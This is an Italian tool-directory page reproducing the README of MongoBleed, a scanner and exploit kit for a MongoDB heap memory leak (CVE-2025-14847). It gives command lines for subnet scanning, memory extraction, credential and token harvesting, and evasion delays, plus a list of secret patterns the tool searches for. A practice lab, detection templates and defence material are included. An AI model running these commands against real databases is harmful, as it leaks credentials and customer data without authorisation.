Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
MongoBleed — Scanner e strumento di exploit per CVE-2025-14847 (MongoBleed). Perdita di memoria heap MongoDB non autenticata tramite decompressione zlib. Include rilevamento, estrazione della memoria, parsing delle credenziali, scansione CIDR/batch, template Nuclei e lab CTF. | Kitploit
Strumenti/GitHubGitHub/sho-luv/mongobleed
Scanner di VulnerabilitàMemory ForensicsMappatura della ReteExploitCTFPenetration TestingApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHubsho-luv/mongobleed

MongoBleed

Scanner e strumento di exploit per CVE-2025-14847 (MongoBleed). Perdita di memoria heap MongoDB non autenticata tramite decompressione zlib. Include rilevamento, estrazione della memoria, parsing delle credenziali, scansione CIDR/batch, template Nuclei e lab CTF.

26 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

MongoBleed

CVE-2025-14847 Scanner e Toolkit di Exploit

Un toolkit di ricerca sulla sicurezza per MongoBleed -- una critica perdita di memoria non autenticata nella decompressione zlib di MongoDB che consente agli attaccanti di estrarre dati sensibili dalla memoria heap del server senza autenticazione.

root@kitploit:~
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬  ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│  ├┤ ├┤  ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit

Avvio Rapido

root@kitploit:~
# Nessuna dipendenza esterna -- solo libreria standard di Python 3
cd cli

# Rileva se un target è vulnerabile (azione predefinita)
python mongobleed.py -t localhost:27017

# Scansiona un'intera sottorete
python mongobleed.py -t 192.168.1.0/24

# Estrae la memoria e analizza per credenziali
python mongobleed.py -t target:27017 -e --credentials

# Modalità sicura -- solo rilevamento, nessuno sfruttamento
python mongobleed.py -t target:27017 -s

Struttura del Repository

root@kitploit:~
MongoBleed/
├── cli/                          # Scanner e strumento di sfruttamento da riga di comando
│   ├── mongobleed.py             # Strumento CLI principale
│   ├── requirements.txt          # Dipendenze Python (solo stdlib)
│   └── README.md                 # Documentazione CLI
├── lab/                          # Ambiente lab CTF basato su Docker
│   ├── docker-compose.yml        # Configurazione lab multi-contenitore
│   ├── vulnerable/               # Configurazioni MongoDB vulnerabili
│   ├── patched/                  # MongoDB corretto per confronto
│   ├── no-zlib/                  # Non sfruttabile (zlib disabilitato)
│   ├── monitoring/               # Dashboard di visualizzazione degli attacchi
│   ├── warmup-heap.sh            # Popola la heap con dati sensibili
│   └── README.md                 # Istruzioni di configurazione del lab
├── nuclei/                       # Template di scansione Nuclei
│   ├── CVE-2025-14847.yaml       # Template di sfruttamento attivo
│   ├── CVE-2025-14847-safe.yaml  # Template di rilevamento sicuro
│   └── README.md                 # Documentazione dei template Nuclei
├── docs/                         # Documentazione educativa
│   ├── README.md                 # Indice del percorso di apprendimento
│   ├── 01-fundamentals.md        # Nozioni di base su MongoDB e memoria
│   ├── 02-vulnerability.md       # Analisi approfondita di CVE-2025-14847
│   ├── 03-exploitation.md        # Sfruttamento pratico
│   ├── 04-detection.md           # Ricerca e rilevamento
│   └── 05-defense.md             # Strategie di mitigazione
└── README.md                     # Questo file

Funzionalità

Strumento CLI

  • Fingerprinting della versione e rilevamento della compressione (zlib/snappy/zstd)
  • Rilevamento delle vulnerabilità con opzione di modalità sicura
  • Estrazione della memoria tramite scansione degli offset (intervallo configurabile)
  • Rilevamento di pattern di credenziali (16 pattern: password, chiavi API, JWT, chiavi AWS, URI MongoDB, ecc.)
  • Supporto della notazione CIDR (192.168.1.0/24, 10.0.0.0/16:27018)
  • Scansione batch da file di target con multi-threading
  • Modalità di estrazione continua
  • Hexdump ed estrazione di stringhe stampabili
  • Output JSON ed esportazione su file
  • Controlli di evasione (delay, jitter)
  • Output del terminale a colori

Ambiente Lab

  • Più versioni MongoDB vulnerabili (4.4.29, 6.0.26, 8.0.16)
  • Versione corretta per il confronto (8.0.17)
  • Versione senza zlib che dimostra la mitigazione
  • Pre-caricato con dati sensibili realistici
  • Flag in stile CTF per l'apprendimento
  • Dashboard di monitoraggio con visualizzazione degli attacchi
  • Script di warmup della heap per demo di sfruttamento affidabili

Template Nuclei

  • Template di rilevamento sicuro (solo controllo versione + compressione)
  • Template di sfruttamento attivo (conferma versione + zlib)

Utilizzo

Rilevamento

root@kitploit:~
# Controlla un singolo target
python mongobleed.py -t localhost:27017

# Controlla con output verboso
python mongobleed.py -t localhost:27017 -v

# Modalità sicura -- solo rilevamento, non invia mai il payload di exploit
python mongobleed.py -t localhost:27017 -s

# Mostra le informazioni sulla versione
python mongobleed.py -t localhost:27017 --version

Scansione di Rete

root@kitploit:~
# Scansiona una sottorete /24
python mongobleed.py -t 192.168.1.0/24

# CIDR con porta personalizzata
python mongobleed.py -t 10.0.0.0/24:27018

# Scansione da file di target (gli intervalli CIDR nel file vengono espansi)
python mongobleed.py -T targets.txt -j 20 -o results.json

# Il file di target può contenere IP, host:porta e intervalli CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

Estrazione della Memoria

root@kitploit:~
# Estrae la memoria (intervallo di offset predefinito 20-8192)
python mongobleed.py -t target:27017 -e

# Intervallo di offset personalizzato
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# Estrazione continua (Ctrl+C per fermare)
python mongobleed.py -t target:27017 --continuous

# Forza l'estrazione anche se il controllo della versione non è conclusivo
python mongobleed.py -t target:27017 -e --force

Analisi

root@kitploit:~
# Analizza la memoria trapelata per credenziali e segreti
python mongobleed.py -t target:27017 -e --credentials

# Analizza i token in particolare
python mongobleed.py -t target:27017 -e --tokens

# Estrae stringhe stampabili
python mongobleed.py -t target:27017 -e --strings

# Output hexdump
python mongobleed.py -t target:27017 -e --hexdump

Evasione

root@kitploit:~
# Aggiunge un ritardo tra le richieste (millisecondi)
python mongobleed.py -t target:27017 -e --delay 500

# Jitter casuale sul ritardo
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

Template Nuclei

root@kitploit:~
# Solo rilevamento sicuro
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# Rilevamento attivo
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# Scansiona più target
nuclei -t nuclei/ -l targets.txt

Ambiente Lab

root@kitploit:~
# Avvia tutti i contenitori
cd lab && docker compose up -d

# Servizi:
# - localhost:27017  MongoDB 4.4.29 (Vulnerabile + zlib)
# - localhost:27018  MongoDB 6.0.26 (Vulnerabile + zlib)
# - localhost:27019  MongoDB 8.0.16 (Vulnerabile + zlib)
# - localhost:27020  MongoDB 8.0.17 (Corretto)
# - localhost:27021  MongoDB 8.0.16 (Senza zlib - non sfruttabile)
# - localhost:8080   Dashboard di monitoraggio

# Riscalda la heap con dati sensibili prima dello sfruttamento
./warmup-heap.sh 27017 50

# Esegui l'exploit contro il lab
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

Opzioni CLI

root@kitploit:~
Target:
  -t, --target TARGET     Host:porta di destinazione o intervallo CIDR (es. 192.168.1.0/24)
  -T, --targets FILE      File con elenco di target (supporta CIDR per riga)

Rilevamento:
  --detect                Rileva se il target è vulnerabile (azione predefinita)
  --version               Mostra la versione di MongoDB
  -s, --safe              Modalità sicura - solo rilevamento, nessuno sfruttamento

Sfruttamento:
  -e, --extract           Estrae la memoria tramite scansione degli offset
  --min-offset N          Offset minimo da sondare (predefinito: 20)
  --max-offset N          Offset massimo da sondare (predefinito: 8192)
  --continuous            Modalità di estrazione continua
  --force                 Forza l'estrazione anche se il controllo della versione fallisce

Analisi:
  --credentials           Analizza per credenziali
  --tokens                Analizza per token
  --strings               Estrae stringhe stampabili
  --hexdump               Mostra hexdump

Evasione:
  --delay MS              Ritardo tra le richieste (millisecondi)
  --jitter                Jitter casuale sul ritardo

Output:
  -o, --output FILE       File di output (JSON)
  -v, --verbose           Output verboso
  -q, --quiet             Modalità silenziosa
  --json                  Output JSON
  --no-color              Disabilita i colori

Connessione:
  --timeout SECS          Timeout di connessione (predefinito: 10)
  -j, --threads N         Thread per la scansione batch (predefinito: 10)

Pattern di Rilevamento delle Credenziali

Il tool cerca i seguenti pattern nella memoria estratta:

Dettagli CVE-2025-14847

Versioni Interessate

Come Funziona

MongoBleed sfrutta un difetto nella decompressione dei messaggi zlib di MongoDB (message_compressor_zlib.cpp). Il codice vulnerabile restituisce la dimensione del buffer allocato invece della lunghezza effettiva decompressa, consentendo agli attaccanti di leggere memoria heap non inizializzata.

root@kitploit:~
1. CONNECT (no authentication required)
              ↓
2. SEND MALFORMED OP_COMPRESSED
   ┌──────────────────────────────────┐
   │ originalOpcode: OP_MSG (2013)    │
   │ uncompressedSize: INFLATED       │ ← Bug trigger
   │ compressorId: zlib (2)           │
   │ compressedMessage: [small data]  │
   └──────────────────────────────────┘
              ↓
3. SERVER ALLOCATES OVERSIZED BUFFER
   [ small real data | uninitialized heap memory ]
              ↓
4. BSON PARSER READS INTO HEAP GARBAGE
   Inflated document length causes parser to read
   beyond actual data into heap memory
              ↓
5. ERROR RESPONSE LEAKS MEMORY
   "invalid BSON field name 'password=secret123...'"

Cosa Può Essere Trapelato

  • Credenziali e password del database
  • Chiavi API e token
  • Token di sessione e JWT
  • Stringhe di connessione MongoDB
  • Segreti applicativi dalla memoria
  • PII dei clienti da query recenti
  • Dati di configurazione interni

Crediti

  • Joe Desimone (Elastic Security) - PoC originale e denominazione della vulnerabilità
  • MongoDB Security Team - Sviluppo della patch
  • Wiz Research - Analisi dello sfruttamento in-the-wild
  • Eric Capuano - Firme di rilevamento e artefatto Velociraptor

Riferimenti

  • Advisory di sicurezza MongoDB
  • Blog Wiz - Analisi di MongoBleed
  • Caccia a MongoBleed - Eric Capuano
  • PoC originale - joe-desimone/mongobleed
  • NVD - CVE-2025-14847

Dichiarazione di non responsabilità

Questo toolkit è fornito esclusivamente per test di sicurezza autorizzati, ricerca e scopi educativi. Utilizzalo solo contro sistemi di tua proprietà o per i quali disponi di un'autorizzazione esplicita a testarli. L'accesso non autorizzato a sistemi informatici è illegale.

Licenza

MIT License

Scarica lo strumento
TipoEsempio di Pattern
passwordpassword: value, passwd=value
secretsecret: value
api_keyapi_key: sk_live_...
tokentoken: ... (16+ caratteri)
bearer_tokenBearer eyJ...
jwteyJ... (JWT Base64)
mongodb_urimongodb://user:pass@host
postgres_uripostgresql://...
redis_uriredis://...
stripe_keysk_live_...
openai_keysk-... (48+ caratteri)
aws_access_keyAKIA...
github_tokenghp_...
slack_tokenxoxb-..., xoxp-...
ctf_flagFLAG{...}
VoceValore
CVECVE-2025-14847
NomeMongoBleed
CWECWE-130 (Gestione impropria del parametro di lunghezza)
CVSS8.7 (Alto)
TipoPerdita di memoria non autenticata
Divulgata19 dicembre 2025
Sfruttata ITW29 dicembre 2025
RamoVulnerabileCorretto
8.2.x8.2.0 - 8.2.28.2.3
8.0.x8.0.0 - 8.0.168.0.17
7.0.x7.0.0 - 7.0.277.0.28
6.0.x6.0.0 - 6.0.266.0.27
5.0.x5.0.0 - 5.0.315.0.32
4.4.x4.4.0 - 4.4.294.4.30
4.2.xTutte le versioniEOL - Nessuna patch
4.0.xTutte le versioniEOL - Nessuna patch
3.6.xTutte le versioniEOL - Nessuna patch